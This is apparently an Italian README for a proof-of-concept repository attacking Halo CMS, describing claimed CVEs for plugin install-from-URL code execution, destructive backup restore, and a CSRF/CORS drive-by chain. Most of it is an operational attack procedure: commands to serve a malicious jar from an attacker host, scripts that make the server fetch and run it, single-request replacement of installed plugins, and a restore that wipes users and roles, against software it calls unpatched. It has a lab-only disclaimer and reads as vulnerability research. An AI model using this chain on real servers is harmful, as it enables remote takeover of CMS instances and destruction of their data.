
plugin halo cms RCE con 1 richiesta da un url, PoC + catena di exploit
La console di halo consente agli amministratori di installare e aggiornare plugin incollando un URL. Recupera qualsiasi URL, installa il jar e il codice del jar viene eseguito sul server. Nessun controllo sullo schema, nessun controllo sull'host, i redirect vengono seguiti, e il plugin manager carica le classi di estensione direttamente dal jar.
Si tratta di cve-2026-67919 (install-from-uri / upgrade-from-uri), cve-2026-67920 (migration restore), cve-2026-67921 (csrf/cors chain). Tutti e tre verificati contro halohub/halo:2.25.4 in un lab docker, agosto 2026. main è ancora senza patch.
La parte divertente: è anche una catena che richiede solo il browser. L'API della console non controlla il token xsrf, il cookie di sessione è samesite=none, e cors riflette qualsiasi origine con le credenziali. Una pagina visitata dall'admin può fare tutto con fetch(). Vedi exploit/csrf.html.
docker run -d --name halo -p 8090:8090 halohub/halo:2.25.4
# visit /system/setup once, or script it (see notes/findings.md)
servi un jar dall'host (in ascolto su 0.0.0.0, il container raggiunge l'host come host.docker.internal):
python3 -m http.server 8123
compila il plugin malevolo (richiede JDK 17):
cd plugin && sh build.sh
poi:
cd exploit && python3 -m pip install -r requirements.txt
./rce_install.py http://localhost:8090 admin 'Admin@12345' \
http://host.docker.internal:8123/poc-plugin.jar
docker exec halo cat /tmp/pwned
qualsiasi plugin già installato può essere sostituito in una singola richiesta; il jar deve solo avere lo stesso metadata.name e una versione superiore. poc-sitemap.jar è quella variante per il PluginSitemap integrato (1.x -> 2.0.0).
./rce_upgrade.py http://localhost:8090 admin 'Admin@12345' \
PluginSitemap http://host.docker.internal:8123/poc-sitemap.jar
docker exec halo cat /tmp/pwned
apri exploit/csrf.html, puntalo al tuo halo, clicca. È la catena cve-2026-67921 -> cve-2026-67919: nessun header xsrf, il cookie di sessione va cross-site, cors permette la rilettura.
solo l'admin, qualunque cosa dica la descrizione di CISA. l'anonimo riceve un 302, l'ospite un 403, l'admin ottiene esecuzione di codice. la catena csrf resta interessante perché l'admin è già autenticato quando la pagina viene eseguita.
i ripristini recuperano un URL arbitrario (un altro primitivo di fetch), scrivono workdir/ dello zip nella directory di lavoro di halo senza sanificazione e sostituiscono l'intero archivio delle estensioni con il contenuto del backup. un extensions.data vuoto cancella utenti, role binding e impostazioni. usa exploit/migration_restore.py solo su una macchina usa e getta.
exploit/ login.py, rce_install.py, rce_upgrade.py,
migration_restore.py, csrf.html
plugin/ plugin.yaml, Exploit.java, plugin-components.idx,
build.sh, prebuilt jars
notes/ findings.md (privilege ladder, fetcher behavior,
cookie/cors details, fix status)
per la variante a 1 richiesta, modifica plugin/plugin.yaml (metadata.name + version) e ricompila; oppure usa il poc-sitemap.jar precompilato su un halo che ha PluginSitemap installato.
disclaimer: solo per ricerca su sistemi di tua proprietà. in particolare quello di migrazione distruggerà l'istanza su cui viene eseguito.
chris jagdeo (k0nnect)